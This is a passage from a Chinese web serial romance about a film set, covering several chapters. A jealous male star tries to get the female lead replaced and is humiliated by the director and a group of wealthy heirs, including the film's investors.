“如果你能安安分分的拍戏,那我还可以留下你,如果你还要在这里说这些有的没的,那不好意思,我可能真的要换掉你了。” “女主角必须是温栩栩,这是绝对不会变的。” 秦扬帆的语调骤然转冷,“你若拍不了这戏,大把男演员排队等游远这个角色。你来这儿,不过是图我这班底的名声,图我这戏的奖项潜力。” 她忽地冷笑,笑意里藏着看透世情的冷锐,“真当我是傻子?用温栩栩,这戏有九成机会拿奖,用赵芳艺,流量能撑三天,然后被观众骂成筛子。你那点小九九,我一眼看穿!” 经纪人慌乱捡拾文件的动作,此刻像在收拾残局,而他西装内衬渗出的冷汗,终于浸透了所有虚妄的优越。 成唯脸上的笑意更僵了。 “秦导,我是为了您好…” 他还想抢救一下自己。 秦扬帆冷笑:“我看你是为了你自己,不想拍可以走,没必要在这里跟我浪费口舌,我在剧组就是土皇帝,我说什么就是什么,你接受不了就走人,少在这里耽误我的时间!” 秦扬帆完全不给成唯面子,好像面前的人不是流量男星一样。 成唯也不是没脾气的。 他自认自己已经很给秦扬帆面子了,可秦扬帆还要驳斥自己,甚至嘲讽自己。 一个温栩栩,怎么就比自己还重要拿了? 秦导是老糊涂了吧! 成唯站起来,脸上都带着郁色。 “导演,如果您一定要这样的话,那我只能去联系投资人了。” 他不信投资人也拎不清。 投资人嘛,肯定是为了赚钱的,赵芳艺热度在这里,温栩栩算什么?能比得上赵芳艺? 有脑子的都知道该选谁了。 温栩栩没说话,就像是在看戏。 她这样轻描淡写的模样更惹得成唯气愤。 秦导却不在乎,她是更觉得成唯像傻瓜了,因为温栩栩本就是资本定下的,找资本?你去找啊,你看资本舍不舍得换下温栩栩啊。 包厢的门被推开时,一道冷冽的气息先于身影涌入,仿佛有人将寒冬的冰川劈开一道裂隙,寒气裹挟着无形的威压席卷而来。 成唯的瞳孔骤然收缩,呼吸在喉头凝滞,为首的男人身上带着明显的冷意。 他认得出来,是在试镜的时候经纪人给他介绍的那位黎家的继承人,黎少。 他此刻呆愣愣的看着对方,还是再一次被对方的相貌折服。 黎云笙的轮廓是上帝最偏心的杰作,他生的极高,肩宽腿长,脊背如青松般挺拔,行走间衣料与肌肉的纹理在灯光下流转,像是墨玉雕琢的完美比例。 第1058章 绝色 面容更是惊心动魄的俊美,眉骨凌厉如刀锋,眉峰斜挑似雪山之巅,眉梢微微下垂时又添几分冷峻。 那双黑眸最为摄魂,瞳色深如寒潭,眸光流转时似有碎冰在眼底闪烁,冷得让人不敢直视。 鼻梁高挺如峰,唇线薄而锋利,因常年不笑而凝成一道凛冽的弧度。 他的肤色是冷白的,近乎透明,只看一眼便能感觉到彻骨的寒意。 最惊人的是他周身的气场,像是站在权力之巅俯瞰众生。这种人,好像从出生开始就是站在云端的。 紧随其后的男人与黎云笙截然不同,却同样令人移不开眼。 盛景炎的气质像一团矛盾的火焰,桀骜不驯的野性与优雅贵气在他身上奇异地交融。 他的眉眼生得极英气,浓眉如剑,眉骨高耸,眼尾上扬时带着天生的挑衅,瞳色是琥珀般的暖金,却因眼底常年蓄着笑意而显得玩世不恭。 他身上带着明显的风流七夕,像是将世间万物都看作一场游戏。 最要命的是他总带着一种“渣男”似的魅力,那笑看似无害,却暗藏勾人的锋利,让人既想靠近又惧被灼伤,像一只披着雪狐皮囊的恶狼,优雅地撕咬着世界的虚伪。 而当盛景炎侧身让出空隙时,成唯的呼吸彻底凝固了。 门外的光影交错中,一个身影如月光劈开云雾般闯入视野。 是薛酒。 如果说黎云笙是寒潭雕琢的冷峻,盛景炎是火焰淬炼的桀骜,那薛酒便是造物主打破性别界限后诞生的极致之美。 他生得极高,身姿却带着一种近乎妖冶的柔韧,最惊人的是他的相貌,是一种雌雄莫辨的精致!眉眼如画,睫毛浓密如鸦羽,眼尾微微上挑的弧度比女子更媚,却因瞳孔深邃如墨渊而压住艳色,形成一种危险的平衡。 鼻梁纤巧似玉雕,唇形薄而饱满,颜色是天然的樱粉,嘴角天生微翘,带着一种慵懒的诱惑。 他的头发是银白色的,大抵是染的,此刻柔顺地垂至肩头,在灯光下泛着流动的辉光,像是银河碎在了发梢。 成唯的喉头发出细微的吞咽声,冷汗在脊背蜿蜒而下。 他混迹娱乐圈多年,见过无数所谓“神颜”,却从未见过一个男人能美到这般境地。 薛酒的漂亮不似传统男星的阳刚,也不似女星的柔美,而是将两种极致糅合后迸发出的全新形态,像是打破性别桎梏的精灵,或是堕入尘世的谪仙。 那双眼眸尤其摄魂,银河般的银发下,瞳孔如墨潭藏星,目光流转时似有万千光年在其中闪烁,让人看一眼便要被吸进无底的深渊。 成唯甚至忘了呼吸,只觉得若薛酒踏入演艺圈,自己那点靠算计得来的地位,顷刻间便会如泡沫般碎在对方的颜值下。 成唯的视线在薛酒那惊世容颜上胶着片刻,忽被身后一道流光般的倩影拽回神智。 薛酒银发如瀑的肩头后,一抹明艳的红裳悄然浮现,仿佛春日里最骄纵的牡丹忽然冲破雪雾,灼灼绽放于寒冬。 薛酒身后的,赫然就是许愿。 成维倒吸了口冷气。 只觉许愿眉如远山黛,线条流畅似水墨勾勒,眉梢微微上扬时带着贵气,却又因弧度灵动而添了几分狡黠的俏皮。眼眸是琥珀色的,瞳仁里似有流金在游弋,眼波流转间光华潋滟,仿佛将整个江南春色揉碎了泼洒其中。 鼻梁高挺如白玉雕琢,唇形丰润如熟透的樱桃,颜色是天然的胭脂红,嘴角天生微微上翘,带着一种慵懒的优雅,却又因笑意含蓄而显得矜贵。 她的肌肤胜雪,却又不是苍白,而是泛着珊瑚般的暖色,仿佛每寸血肉都浸在朝霞中滋养过。 最惊人的是她周身的气韵,雍容与优雅在她身上交织成最完美的平衡,像是将宫廷贵女的端庄与江湖侠女的飒爽熔于一炉,美得令人窒息。 成唯的手僵在半空,捏眉心的动作成了滑稽的定格。 他见过无数所谓“明艳美人”,却从未有人如许愿这般,将艳色与贵气揉得如此浑然天成。 她的美不似薛酒的雌雄莫辨,不似黎云笙的冷峻逼人,而是烈焰般的直白,是让人一眼便震惊的惊艳。 成唯喉头滚动,冷汗在掌心沁出,若这女人是演员,娱乐圈那些所谓“顶流小花”在她面前,怕是要被衬成丫鬟! 思绪如乱麻在脑中绞缠,成唯的嫉妒如毒藤般攀上心脉。 黎云笙的身份他自然识得,所以黎云笙不可能是来跟自己争抢角色的,可黎云笙身边的人,成唯是不认识的,所以不可避免的想的多了些。 盛景炎那“渣男”似的桀骜,薛酒雌雄莫辨的绝色,许愿灼灼其华的明艳……在成唯看来,若这四人若皆是来角逐角色的,自己那点微末的“威胁”简直如蚍蜉撼树! 他想起自己方才对秦扬帆的傲慢,想起对温栩栩的轻蔑,此刻却像被无形的手掌掐住喉咙,若秦导真的铁了心护住剧组,若这些来历惊人的角色候选人皆是导演底牌……那他成唯岂不成了跳梁小丑? “这、这……”成唯的舌尖发颤,西装内衬已被冷汗浸透。 他原以为拿捏住导演的软肋,原以为用投资人施压便能轻易换掉温栩栩,此刻却觉自己如井底之蛙,可笑地妄图撼动整片星空。 薛酒的银发在光影中闪烁,盛景炎的琥珀眸仍带着玩味的笑意,许愿的红裳如火舌舔舐着他的自尊。 他忽觉自己那点算计不过是尘埃,在这些真正掌握资源与美貌的强者面前,他成唯算什么?不过是资本游戏中随时可被弃的棋子! 嫉妒的火焰在胸腔灼烧,成唯的指甲深深掐进掌心。 他恨温栩栩凭什么得秦导力保,恨这些天之骄子凭什么能轻易踏入剧组,更恨自己为何没有显赫的背景……若他也有黎云笙的权势,若他也有薛酒的美貌,若他也有许愿的贵气,何至于在此受辱? 此刻他再不敢提“换角”之事,只觉每一道投向他的目光都如刀刃,剜着他溃败的尊严。 包厢内的气压愈发低窒,成唯的呼吸声在寂静中显得格外粗重。 他知道自己输了,输得体无完肤,却仍不甘心地瞪向温栩栩,成唯分明看见,她垂落的睫毛下藏着细微的笑意,像是看透了他所有狼狈的嘲讽。他忽觉自己才是最大的笑话。 第1059章 阿愿,你这样好乖啊 这些人到底是什么人,黎云笙带来的这群人,难道真的是来顶替自己的? 成唯此刻心理压力太大了,他盯着薛酒那张脸实在是嫉妒。 成唯的喉头滚动着酸涩的嫉妒,指甲几乎要将掌心掐出血痕。 他死死盯着薛酒那张雌雄莫辨的脸,眉眼如画却暗藏星河,肌肤莹润似玉,这张脸让他想起自己曾引以为傲的“神颜”标签,想起粉丝尖叫着追捧他的容貌时那膨胀的虚荣。 可此刻,薛酒的存在如同一面镜子,将他的自满摔得粉碎。 若自己拥有这样的面容……那些流量、资源、代言岂不唾手可得? 何至于被秦扬帆这般羞辱?何至于在黎云笙面前如蝼蚁般渺小? 嫉妒的毒藤在胸腔蔓延,他恨不能撕碎薛酒那完美的皮囊,恨不能将这张脸替换成自己的模样! 如果他有这样一张面容,他的粉丝只会更疯狂,他也一定会成为真正的圈内顶流,力压现在那位顶流。 他一直以自己的相貌为傲,可没想到这里随便来两个人就比自己的颜值要高上这样多。 成唯恨急了,几乎是紧张的开口:“秦导!你说过你要选最合适的演员,可这个人他空有一副皮囊!游远的容貌不是这样的!他漂亮没用!他的形象不符合!还有这个,这个人一看就是吊儿郎当的骚狐狸,游远是那种浑身充满冷感危险气息的男人,不是这种笑眯眯的臭狐狸!你选择这两个人来出演游远,还不如选择黎少!可黎少是资本绝对不可能出演的!” 话音落下,包厢内的气压骤降至冰点。 成唯也确实是不够理智了,就这会儿功夫秃噜出这么一大段话,显然也是被逼急了。 他是觉得黎云笙是资本,怎么可能屈尊降贵去拍戏呢,更不要说是跟一个新人女演员去拍戏了,她不配。 直到现在成唯也觉得温栩栩不配。 被骂骚狐狸臭狐狸的盛景炎脸上的笑意僵了一瞬。 骂狐狸可以,但臭和骚就不必了吧。 盛景炎眼神微冷,脸上虽然还是带着笑意,可眼底的凉意也分外明显。 盛景炎琥珀色的瞳仁渐渐凝出寒霜。 他生得本就桀骜,浓眉斜挑如剑,此刻眉峰骤拧时更显凌厉。指节在椅臂上无意识地叩击,节奏渐快,仿佛野兽在压抑爆发的冲动。 许愿不知怎么的,就是能感觉到盛景炎似乎是生气了。 她思索了下,很给面子的在盛景炎身边回应:“不臭,香的,就算是狐狸也是青丘九尾狐,这才配得上你的身份。” “?”盛景炎明显愣了一瞬,显然完全没想到许愿会安慰自己。 他怔愣很久,唇角都带上了笑意。 他偏头,目光落在许愿身上,眼底的笑意仿佛是盈满了星璀璨星河。 “阿愿,你这样…好乖啊。” 盛景炎是真的认为许愿很可爱,很乖,最初看到许愿会觉得许愿是那种很冷感的人,或者会很冷情,不爱理人,可真正接触了就知道许愿的心是柔软的。 她甚至身上都很少竖上尖刺,只有真的会被人伤害到才会浑身尖刺。 就像现在,许愿好像能感觉到他的不悦,说出口的话都是在安慰。 青丘的九尾狐,那要是这群狐狸的祖宗了。 他满意了。 怎么办,本来就对她一见钟情,现在更喜欢了呢。 盛景炎眸光中灼灼的感情几乎都要溢出来了,那样汹涌的爱意几乎都不需要诉说就能让人感受到。 许愿怎么可能感受不到他此刻的眼神,还不等许愿说什么,薛酒就已经插到两人中间,直勾勾盯着盛景炎,纯捣乱来的。 薛酒本来被成唯说只有一张漂亮皮囊在生气,还没等薛酒吐槽成唯呢,这边一扭头就看到盛景炎开始勾搭许愿! 拜托! 你猜他为什么跟过来,还不是担心盛景炎勾搭许愿吗! 盛景炎能不骚了吗! 一眼看不到就勾搭人,还说什么好乖啊,一个男人对一个女人说好乖啊,那能抱着什么心思? 他是男人他最懂了!他如果对女性说好乖,那保准是想把人娶回家藏起来的!除非那人是妹妹!否则绝对拿对方当老婆看! 天塌了也是这么回事,不然那人就是渣男。 对,盛景炎就是个渣男海王,外面红颜知己数不胜数。 盛渣男看谁都觉得乖吧! 薛酒都觉得自己穿上女装盛景炎对着自己估计都能说出好乖这句话的! 他对盛景炎就是这么有意见。 可现在也知道盛景炎被成唯侮辱了,薛酒也不是那么拎不清的,他自然知道比起盛景炎,成唯那种人才最令人恶心。 “成老师,”盛景炎看着许愿的时候眼底都是笑意,但此刻转向成唯,缓缓开口,声线裹着冰碴,“你似乎对‘狐狸’颇有研究?” 他忽地倾身逼近成唯,嘲讽,“可你可知,狐狸分赤狐、雪狐、火狐……而你方才形容的,怕是最低等的骚尾狐,只会吠叫却无实牙,空有皮毛却无脑子。” 他轻笑一声,指尖忽而捏住成唯的西装领口,力道不轻不重,却惊得对方后退半步。 盛景炎却好像完全没有发现对方的慌乱,继续嘲道:“至于‘下流’。”他眸色骤暗,“你倒是该照照镜子,看看谁更像在泥沟里打滚的货色。” 成唯的面色瞬间青白交错,冷汗顺着鬓角滑落。 盛景炎的气场如实质的刀刃,压得他喘不过气。 他这才惊觉自己失言。 这男人绝非善茬!那眼底的冷意、指尖的力道,分明是上位者碾碎蝼蚁的从容。 而对方那句“骚尾狐”的讥讽,更是将他的尊严踩入尘埃。 对方口中那位骚尾狐,说的不就是他?这明摆着是在嘲讽他! 成维脸色愈发冷了,他张了张嘴,却发不出声音,喉头像是被蛛网缠住。 嫉妒与恐惧在胸腔撕咬,他恨自己为何要在慌乱中口不择言,恨盛景炎为何有这般凌人的气势……若他有薛酒的美貌,有黎云笙的权势,有盛景炎的桀骜,又何至于此刻如丧家犬般狼狈? 第1060章 拙劣的表演 薛酒未发一言,只是垂眸把玩着袖口的银线刺绣,似是根本没有将成为放在眼中,这样的冷落,更让成唯暗恨揪心。 许愿在一旁轻笑出声,她望向成唯的目光带着怜悯的讥讽,仿佛在看一场小丑拙劣的表演。 黎云笙更是连余光都未施舍,只冷然盯着秦扬帆,等待她的答复。 而秦扬帆早已笑出声,指尖点着成唯的鼻尖:“成老师,你倒是聪明反被聪明误,威胁导演不成,倒学会污蔑演员了?游远的角色,我选谁自有我的考量,轮不到你来置喙。倒是你……”她语气骤然凌厉,“你没有资格决定谁出演剧中角色。” “我才是《灵媒》的导演,你只是一个随时可能被踢出剧组被淘汰的演员。” 成唯的瞳孔剧烈收缩,最后的侥幸如泡沫碎灭。 他知道自己彻底输了,输在自大的嫉妒,输在莽撞的威胁。 盛景炎仍捏着其领口,笑意却更冷:“成老师,我劝你日后说话前先擦亮眼睛,狐狸的獠牙,可不在脸上,而在心里。”松手时,他指尖在成唯喉结处轻轻一划,动作轻佻却暗藏杀意,仿佛下一秒便能扼碎其命脉。 成唯踉跄后退,他只觉包厢内的每一道目光都是灼热的烙铁,烫得他皮肉生疼。 嫉妒与耻辱在心底沸腾。 成唯的经纪人早已在旁急得如热锅上的蚂蚁,额角青筋暴起,却只能攥着衣角干瞪眼。 秦扬帆的冷脸他不敢惹,黎云笙那尊煞神他更是不敢惹。 成唯实在是不知道自己哪里来的勇气,像是此刻被逼到绝境了,突然有点癫狂的笑出声,哈哈的笑声让人听得头皮发麻,薛酒厌恶的皱眉,抬眸看向他时眼底都是凉意。 他已经猜到《灵媒》的投资人是谁了,多半就是黎云笙,黎云笙就在现场呢。 只要黎云笙同意用赵芳艺就好了,只要黎云笙同意踢掉温栩栩就不会再有后顾之忧了! 重点就看黎云笙的态度了。 成唯的瞳孔因亢奋而充血,癫笑渐止:“黎少,您是《灵媒》的投资人吧?” 成唯目光灼灼的望着黎云笙,仿佛黎云笙是自己最后的救命稻草。 成唯赶紧询问,只等黎云笙的回应了。 黎云笙垂眸看向他,他不发一言,但成唯就是明白黎云笙肯定就是投资人了。 “黎少,您知道赵芳艺吗?” 他音调拔高,似在求证,却又带着笃定,“只要您点头,温栩栩立刻就得滚出剧组!赵芳艺才是最佳人选,她是圈内顶流,电视剧收视率扛把子,电影票房灵药,导演们抢着要的香饽饽!演技?热度?粉丝?她样样不缺!温栩栩算什么?空有皮囊的新人,扑街的命!” 成唯的指尖几乎戳到黎云笙面前,他将自己最后的筹码全押在这句话上,仿佛只要搬出赵芳艺的商业价值,就能让黎云笙立刻拍板。 经纪人暗地扯他衣袖,他却浑然不觉,只觉此刻的自己如赌徒掷出最后一颗筹码,胜负在此一举。 包厢内的寂静压得他耳鸣,却听不出黎云笙的呼吸,只见那男人垂眸俯视他,黑眸深如永夜,无波无澜。 温栩栩还是那副平静无波的模样,淡漠的看着眼前这一幕,好似完全不在意被嘲讽的是自己。 “黎少!”成唯再逼一步,声音已带哀求的颤音,“赵芳艺现在就有档期,她能救这部剧!温栩栩不过是个新人,粉丝基础为零,演技再吹上天也带不动收视率!您想想,这部剧扑街的话,投资岂不打水漂?赵芳艺不同,她自带流量,热搜体质,只要官宣就能引爆话题!导演们都说她性价比最高,片酬合理,效果爆炸……” “性价比。”黎云笙忽而轻笑,成唯的心跳骤停,却见那男人终于抬眼,目光却未落在他身上,而是扫过秦扬帆,最终停在温栩栩的身上,“你似乎忘了,《灵媒》的导演是秦扬帆。” 他语调漫不经心,却带着不容置疑的威压,“选角之事,我从不干涉。” 成唯的喉头哽住,似被无形的手扼住了气管。 黎云笙的话如冷水浇头,熄灭了他最后的火苗。 不干涉?那为何在场? 为何冷眼旁观这场闹剧? 他脑中乱麻绞缠,却瞥见秦扬帆唇角讥讽的弧度,温栩栩垂眸假作淡定却藏笑的睫毛,薛酒眼底嘲弄的凉意。 他只觉得自己好像又一次变成了小丑! “黎少!”成唯的声音已带哭腔,指尖发颤,“可赵芳艺真的合适啊!她演技好,流量大,绝对能救项目!温栩栩没有粉丝,没有热度,这部剧会扑得惨烈!您就当帮帮忙,给赵芳艺一个机会……” 黎云笙终于正眼看他,黑眸中寒意更甚,“我投资,是为了看‘合适’的戏,而非‘救场’的戏。”他忽而轻笑,笑意却冻人骨髓,“若你连角色适配与否都分不清,倒该好好学学什么是真正的‘性价比’。” 成唯的瞳孔骤缩。 赵芳艺再红,若不符角色,便是废棋,温栩栩再新,若与剧本血脉相连,便是瑰宝。 他原以为资本能碾碎一切,却忘了真正的资本家从不屑于用拙劣的手段。 包厢内的气压降至窒息,成唯的冷汗顺着脊背滑落,在西装下洇出暗痕。 经纪人终于忍不住拽他后退,他却如泥塑般僵在原地,目光涣散如死鱼。 薛酒嗤笑一声,指尖拂过耳畔银发,满脸的不屑。 成唯说的那些话冠冕堂皇,撕心裂肺,好像完全为黎云笙考虑的似的。 秦扬帆导演面无表情的看着成唯发疯,甚至慢条斯理的倒了一杯茶,完全不着急。 废话,温栩栩是黎云笙塞进剧组的,剧本还没有完全修改完的时候温栩栩就是女主角了,甚至其中有几段剧情还是温栩栩建议修改的,可以说温栩栩也是主创团队的人员,那个时候成唯还不知道在哪里凉快着呢。 跟黎云笙说担心会扑街? 黎云笙是谁? 你跟他说扑街有个什么用? 第1061章 阳光男大小狼狗 这部剧的投资才几亿?黎云笙根本不放在眼里,这位少爷去拍卖会随便一花就是这个数额,他根本不在意赔还是赚,他就是单纯的随温栩栩高兴的。 说白了就是投着玩儿的。 打从一开始黎氏那边找到她就给她看了剧本,当时只一条,女主角必须是温栩栩,剧本不能乱改不能删减女主角的戏份,不能欺负温栩栩,其它的随意。 最开始秦扬帆还觉得新鲜,特地看了剧本又看了温栩栩的资料,亲自看了温栩栩几场星黛儿的走秀,看清楚她长了一张怎样精致漂亮的容貌,所以秦扬帆才决定接下这部戏的。 毕竟黎氏这边给的自由度太高了,再说了,就捧一个温栩栩,不算什么。 谁能知道温栩栩给了她这么大一个惊喜。 温栩栩不是废物,还完全支棱起来,那演技看的秦扬帆都想给温栩栩拍手鼓掌了,谁看了不夸几句的? 秦扬帆不可能不激动,作为导演,最喜欢的就是看到这种优秀的演员。 而现在,秦扬帆明显想看戏了,想看黎云笙怎么回应。 她有些等不及等会儿成唯会是什么眼神了。 成维还在等着黎云笙的回应,在他看来,赵芳艺稳赢的。 成唯几乎是孤注一掷,还想再拼一把,又一次提到赵芳艺,黎云笙皱眉,眸光中的凉意愈深。 可下一秒他听到黎云笙开口:“赵芳艺是谁。” 成唯脸上的表情都已经彻底僵住了。 赵芳艺!国内一线女流量女明星,这位黎少却根本不知道她是谁!这像话吗! 成唯唇瓣都在哆嗦,很想解释一句,但想到赵芳艺拍的都是一些偶像剧爆火的,这位少爷大概也不看那种剧,但是正剧……赵芳艺真的很少拍啊。 成唯的脑子都乱嗡嗡的,他来推荐演员,可也没想到对方根本不知道赵芳艺是谁啊,这多尴尬。 你硬要说赵芳艺跟温栩栩对比,人家都不知道赵芳艺好在哪里啊。 秦扬帆在一旁提醒:“就是出演了《秋雨》电影中‘林芳月’一角色的那位女演员。” 这部电影是去年大热的电影,讲述的民国时期的一部电影,赵芳艺在其中出演的是一名女配角,戏份并不算多,但也是个非常重要的角色。 这部电影,黎云笙还是看过的。 黎云笙皱眉想了下,评价道:“就是那个演技浮夸相貌平平台词完全没有起伏的女角色?” 黎云笙就这样轻飘飘凭借了赵芳艺。 评论演技,赵芳艺演技浮夸。 评论相貌,中人之姿。 评价台词,没有起伏没有感情。 这三样加起来,就算赵芳艺真的是流量巨星怕是黎云笙也根本不会把她放在心上,甚至根本没有用她的打算。 成唯还想要挣扎,在他心里不是赵芳艺那也不该是温栩栩啊! 温栩栩凭什么? 就凭那张脸? 对,就是凭那张脸啊! 成唯心里更憋屈了,但还是隐忍不下去开口:“黎少,您这样是不是太冲动了些,温栩栩真的不适合,您可以让她演哥女二号女三号,但一上来就是女一号,这简直就是在胡闹。” 黎云笙表情仍是淡淡的,他掀眉扫他一眼,眼底的讥讽几乎快要漫出来。 “你对我选的人有什么意见。” 一句话,绝杀。 成唯整个人都像是完全傻在原地,如果黎云笙不说这句话,成唯觉得自己好像还有解决的机会,游说下投资人那温栩栩是能够被换掉的。 可现在对方却说,温栩栩是他选的人。 成维在此刻彻底明白为什么秦导完全不担心了,因为从始至终温栩栩就不是她选出来的,是被黎云笙指定的。 是啊。 那就说得通了,他不是心里都在说温栩栩凭什么?难道就凭那张漂亮脸蛋儿吗? 可现在看来就因为温栩栩那张漂亮脸蛋儿啊! 他还有什么可说的? 成唯脸上的表情愈发古怪,他僵硬的仿佛已经完全成了一块木头,经纪人想要把人拉拽出去,成唯却只觉得都已经到这一步了,反正已经得罪了黎云笙,那怎么也要拼一把。 《灵媒》的最大投资人不是只有黎云笙的,他记得还有两个人的,一个叫韩城一个叫盛景炎。 这两个人总不该也像盛景炎一样维护温栩栩! 成唯不信这个邪,他咬牙:“我要见城少!城少肯定会同意换女主角!” 成唯想的很简单,黎云笙有钱,韩城也有钱,如果黎云笙因为这件事撤资,那韩城也一样能注资,谁怕谁? 他根本不知道这话一出,黎云笙、盛景炎和温栩栩看他的眼神都仿佛在看傻子。 挺好笑的。 这部剧最开始打算投资的是黎云笙,甚至掏出一张黑卡随便温栩栩用,韩城是投着玩儿的,盛景炎也是玩票的。 而韩城跟温栩栩之间的关系在着小圈子里面有目共睹,谁不知道韩城多维护温栩栩,你敢当着韩城的面儿说温栩栩这那的不好,找骂? 用韩城的话来说,就是纯属欠骂! 许愿和薛酒显然也是知道内情的,这会儿看成唯的眼神更像是看小丑了。 成唯不知道啊,还当这群人紧张了,整个人更得意了。 黎云笙反倒是笑了,有点像是遇到蠢货后才会露出的那种笑,怎么看都像是带着点嘲意的。 “你要见韩城?”黎云笙问。 成唯立刻点头。 “他已经来了。”黎云笙不咸不淡的开口,下一秒包厢的门就被打开了。 门口的少年身上都还穿着运动装,头上戴着黑色发带,露出额头,那张脸也完全暴露出来,是一种完全不同味道的俊朗,他的肤色不像盛景炎和黎云笙这样白,有点偏小麦色,是很健康阳光的颜色。 一眼看去,都会觉得这人是阳光男大小狼狗,谁也忍不住这会是韩家的二少爷。 不知道的还当是谁家体育场跑出来的男大。 成唯却看呆了。 不是? 到底什么个情况?现在的富二代二世祖们长得都这么好看吗? 一个两个都这么高颜值,还让不让他们娱乐圈男星活了!要他死是吧! 成唯看到薛酒会嫉妒,看到韩城也会嫉妒。 方才还喊着赵韩城,韩城真来了反倒是蔫吧的不说话了。 第1062章 韩城你有病吗! 韩城来这里是因为黎云笙又开始勾搭温栩栩了,他今天穿成这样本来打算去打球的,运动装都穿好了,就打算下课溜呢,谁知道因为这次的论文没过,被导师留下叨叨好久。 韩城挺蔫吧的,因为导师是他二舅,那可是亲舅舅,就盯着他呢,那论文其实也没什么毛病,就是不能凭优,本来也就是韩城顺手写着想混过去的。 哪能想到舅舅这么较真啊。 被舅舅念叨,结果一看时间都要到下午上课时间了,韩城烦躁的上课,但少爷还知道尊师重道。 可谁能想到老教授拖堂了? 韩城更蔫吧了,好不容易到下课,这就马不停蹄冲过来了。 这是要跟黎云笙算账呢。 韩城一进门,整要打声招呼结果发现所有人目光都放在自己身上,都有点古怪。 跟看乐子一样。 不是?怎么了? 他怎么又成乐子了? 韩越那狐狸也没在现场啊,他怎么总被当成乐子啊! 韩城手里都还玩着篮球呢,这是来的时候顺道儿带来的,本来是打算趁着黎云笙不注意砸到他身上的。 谁知道包厢竟然这么多人,像话吗。 韩城皱眉,结果就见一个长相白净有点小帅的男人指着自己出离愤怒。 “你们到底要捧多少男人啊!这怎么又来一个!那两个狐狸还不够吗!为什么还有一个狗!” 狐狸薛酒:“……”喷不了,这人是真疯了,纯有病了。 狐狸盛景炎:“……”脑子有病就去治好吗。 黎云笙不是才说了韩城到了?门都开了,进来的不是韩城还能是谁?没脑子那也总知道承上启下吧。 黎云笙说完下一秒人就进来了,你猜那是谁呢。 被骂狗的韩城满头问号。 他是被骂了? 不确定,再反应下。 不对!就是被骂了! 哪里来的小白脸啊就骂他!招你惹你了,不能看他脾气好就这么欺负人吧! 韩城此刻脸都要黑了。 “你骂谁是狗呢!” 他压根没注意成唯说的狐狸是谁,反正骂他狗就不行!因为在他这里狐狸比狗聪明。 凭什么别人是狐狸他就是狗,他不服。 这要真知道许愿和薛酒那边说他就算是狐狸也是藏狐,那城少肯定更要闹起来了。 成唯看他急了自己也急了。 “我说错了吗!你们资本到底想干嘛!就是知道那群女人肤浅喜欢美色,找了两个妖孽狐狸还不够,还找了你这样的狼狗类型的男人!还让不让我们活了!” 韩城愣了下。 哦,不是狗,是狼狗啊。 那约等于狼了,再四舍五入一下他都可以是最漂亮的雪狼狼王。 那这不是骂自己了,那是在夸自己啊。 韩城得意挺起胸膛,特别骄傲自豪:“谢谢。” 黎云笙:“…” 盛景炎:“……” 薛酒:“?”啊?也每人跟他说韩城是这个风格的啊!早知道韩城是这个风格,他们拉投资就找韩城了,那绝对是一坑一个准啊! 成唯才是最惨的,整个人都懵了。 不是! 到底能不能明白啊!他在嘲讽啊!怎么就感谢上他了! 嘲讽你们小白脸要进娱乐圈跟他们男演员抢饭吃啊!能不能行了! “谁夸你了!你能不能不往你自己脸上贴金啊!” 韩城:“你不是夸我狼王吗!” 全场人在此刻都静默了,几乎是要头冒黑线的程度。 他们应该都听到了成唯嘲讽韩城是狼狗类型的男人。 狼狗和狼王哪里一样了? 哦,四舍五入了是不是? 那猫咪四舍五入怎么不成老虎呢。 真服了! 盛景炎是真的服了,几乎要被气笑了。 他们几个人智商都挺高的,就只有一个韩城最离谱,直接拉低平均智商。 这是活祖宗。 薛酒没忍住,噗嗤笑出声询问:“那猫在你这里真是老虎?” 韩城得意:“昂。” 行,完全不心虚啊。 “你有病吧!”成唯只觉得离谱到一定程度了! 狼狗怎么就狼王了!猫咪怎么就老虎了! 到底是谁疯了! 温栩栩都有些扛不住,无奈的揉了揉眉心。 成唯脸都好像气红了。 “你有病,你是真有病!” 韩城毫不在意,毕竟盛景炎也没少哔哔他。 说他有病怎么了,有病的人那么多,他还排不上号呢。 韩城也没觉得这是嘲讽自己呢。 但这人都骂自己了,自己还什么都不说?那不是衬得自己跟软蛋一样了? “你骂谁有病?” 韩城心里嗨呀一声心道你谁啊你,给你脸了! 成唯气急败坏喊道:“你到底是谁介绍来的!你总不能是城少介绍来的!城少怎么就介绍你这种没脑子没智商的人来了!我要见城少!” 韩城此刻更懵了,这人骂自己没脑子,结果呢?他这是想找谁,找他?找他怎么还骂他? 韩城问:“你找我?” 成唯愤怒:“谁找你了!少往你自己脸上贴金!” “你不是找韩城吗!那不就是我吗!”韩城恼了,有病吗!找自己还骂自己!招他惹他了!就是二代圈子里也没有人敢这么对他的! 包厢内一片寂静。 经纪人此刻已经彻底傻住了,怎么也没想到韩会来这么一句。 谁家二代穿着身运动装招摇过市的啊!还特地穿这身来包厢,他们还当这人故意走运动男大风格就是为了凸显自己引人注目的。 经纪人傻了,秦扬帆倒是坐在位置上看热闹,成唯整个人都已经变成了木头人,机械的抬头望着他,身体在抖,唇瓣也在抖。 他已经不知道此刻该如何回应了。 “你是韩城?”成唯机械的问,只是语气都是慌的,好像根本不希望他是韩城一样。 韩城才不管他是什么反应,“昂”了一声:“我是韩城,你找我什么事儿?” 韩城应的干脆利索。 成唯更是眼前一黑。 他大喊大叫说要见韩城,结果韩城真的到了,自己根本认不出来,指着韩城鼻子骂人? 韩城是谁,韩家的二少爷。 他算是什么东西,怎么配,怎么敢!疯了吗! 成唯现在满脑子都是自己疯了的想法。 “怎么不说话了,不是你要找我吗?”韩城嘲讽。 第1063章 就是要护着她 “说啊,怎么不说了?” “不是指着我的脸说我有病是狗吗?来来来,你再对着我多说几句,太久都没有人敢这么说话了,你对着我多来几句,真新鲜。” 韩城此刻愈发像挑衅了,可成唯哪里敢真的对上韩城。 他干笑两句,一扭头就看到坐在座椅上眉眼之间都带着淡淡笑意的温栩栩,那样清浅的笑,在成唯看来就是对自己的讥嘲。 韩城直到此刻才猛然想起来自己是为什么要找韩城的,他是为了让韩城换掉温栩栩。 可现在真的见到韩城,成唯却觉得韩城这人身上写满了不靠谱,总觉得跟韩城说这些好像没什么用,但总该试一试。 万一呢。 毕竟韩城真的看起来不像智商很高的样子。 成唯心里泛起嘀咕,好半晌面上才露出些许笑意来,那笑意里面明显带着讨好,和刚才对着韩城嘲讽怒骂的模样完全不同,可以说是判若两人,唯唯诺诺的。 韩城见过太多人这副模样了,此刻忍不住皱眉,眉宇之间都带上了几分厉色,显然是有些不耐。 “你到底想说什么?” 